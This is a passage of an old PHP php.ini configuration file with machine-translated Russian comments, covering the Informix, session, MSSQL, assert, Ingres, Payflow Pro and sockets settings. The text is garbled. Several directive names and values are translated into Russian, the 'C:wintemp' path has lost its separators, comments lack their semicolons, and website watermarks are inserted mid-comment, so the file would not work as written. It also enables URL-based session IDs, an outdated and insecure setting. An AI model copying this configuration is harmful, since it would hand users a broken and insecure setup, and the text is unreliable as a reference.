ifx.max_links = -1 ; Максимальное количество соединений (постоянных и непостоянных) -1 означает неограниченное.
ifx.textasvarchar = 0 ; Если включено, символ статуса выбора возвращает содержимое поля «текстовый объект» вместо его идентификатора.
ifx.byteasvarchar = 0 ; Если включено, символ состояния выбора возвращает содержимое поля «байтовый объект» вместо его идентификатора.
ifx.charasvarchar = 0 ; Отслеживать удаление пробелов из строки символов фиксированной длины.
; Может быть действительным для пользователей Informix SE.
ifx.blobinfile = 0 ; Если включено, содержимое текстовых и байтовых объектов экспортируется в файл.
; вместо сохранения в памяти.
ifx.nullformat = 0 ; NULL возвращается как нулевое поле, если здесь оно не установлено в 1.
; В этом случае (1) возвращается NULL как строка NULL
[Session]
.
session.save_handler = файлы Метод управления сохранением/извлечением данных;
session.save_path = C:wintemp; Параметры, передаваемые контроллеру, когда для save_handler задан файл,
; Это путь, по которому будут сохранены файлы данных.
session.use_cookies = 1; использовать ли файлы cookie;
имя_сессии = PHPSESSID
; Имя сеанса, которое будет использоваться в файле cookie;
session.auto_start = 0 Инициализировать сеанс при запуске запроса
session.cookie_lifetime = 0 — время хранения файлов cookie в секундах,
; или 0, пока браузер не будет перезапущен.
session.cookie_path = / Действительный путь к файлу cookie
session.cookie_domain = Действительный домен файла cookie
session.serialize_handler = php Контроллер, используемый для подключения данных
; php — стандартный контроллер PHP.
session.gc_probability = 1 ; процессы «сборки мусора» в процентах
; Возможность запуска каждый раз при инициализации сеанса. Network Manager bitscn_com.
session.gc_maxlifetime = 1440 ; По истечении количества секунд, указанного этим числом, сохраненные данные будут учтены.
; «Фрагмент (мусор)» и очищен процессом gc.
session.referer_check = ; Проверить HTTP-рефереры, чтобы сделать недействительными дополнительные идентификаторы, включенные в URL-адреса.
session.entropy_length = 0 ; Сколько байт читать из файла
session.entropy_file = ; Укажите здесь, чтобы создать идентификатор сеанса
; session.entropy_length = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache Установите значение {nocache, Private, Public} для определения HTTP.
; Проблема с кэшированием
session.cache_expire = 180 Срок действия документа истекает через n минут.
session.use_trans_sid = 1 ; Использовать поддержку переходного SID, если она включена во время компиляции.
--включить-транс-сид
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;расширение=php_mssql.dll
mssql.allow_persistent = On Разрешить или отключить постоянные соединения
mssql.max_persistent = -1; Максимальное количество постоянных подключений -1 означает неограниченное количество.
mssql.max_links = -1; Максимальное количество подключений (постоянных и непостоянных) представляет собой неограниченное управление сетью u.bitsCN.com.
mssql.min_error_severity = 10 Минимальная серьезность отображаемых ошибок
mssql.min_message_severity = 10 Минимальная серьезность отображаемых сообщений
mssql.compatability_mode = Off; режим, совместимый со старыми версиями PHP 3.0
[утверждение]
.
; ? ? ? ?
;assert.active = Включено ; Assert(expr); активен по умолчанию
;assert.warning = On ; выдает предупреждение PHP для каждого неудачного утверждения.
;assert.bail = Off ; по умолчанию не выходить из системы.
;assert.callback = 0 ; пользовательская функция, вызываемая в случае сбоя утверждения.
;assert.quiet_eval = 0 ; оцениваем выражение с текущим значением error_reporting(), если вы хотите, чтобы error_reporting(0) использовался в eval()
[Ingres II]
.
ii.allow_persistent = On Разрешить или отключить постоянные подключения;
ii.max_persistent = -1; Максимальное количество постоянных подключений -1 означает неограниченное количество.
ii.max_links = -1 ; Максимальное количество подключений (постоянных и непостоянных) -1 означает неограниченное.
ii.default_database = ; база данных по умолчанию (формат: [node_id::]dbname[/srv_class]
ii.default_user = ;Пользователь по умолчанию
ii.default_password = ; Пароль по умолчанию. Загрузка управления сетью dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; Сервер Signio по умолчанию
pfpro.defaultport = 443 Порт по умолчанию для подключения;
pfpro.defaulttimeout = 30 ; Тайм-аут по умолчанию в секундах
; pfpro.proxyaddress = ; IP-адрес прокси-сервера по умолчанию (если требуется)
; pfpro.proxyport = ; Порт прокси по умолчанию
; pfpro.proxylogon = ; Логин прокси по умолчанию (имя пользователя для входа)
; pfpro.proxypassword = ; Пароль прокси по умолчанию
[Sockets]
sockets.use_system_read = Включено; Используйте системную функцию read() вместо пакета php_read();
; Локальные переменные: (локальные переменные)
; ширина табуляции: 4
; Конец: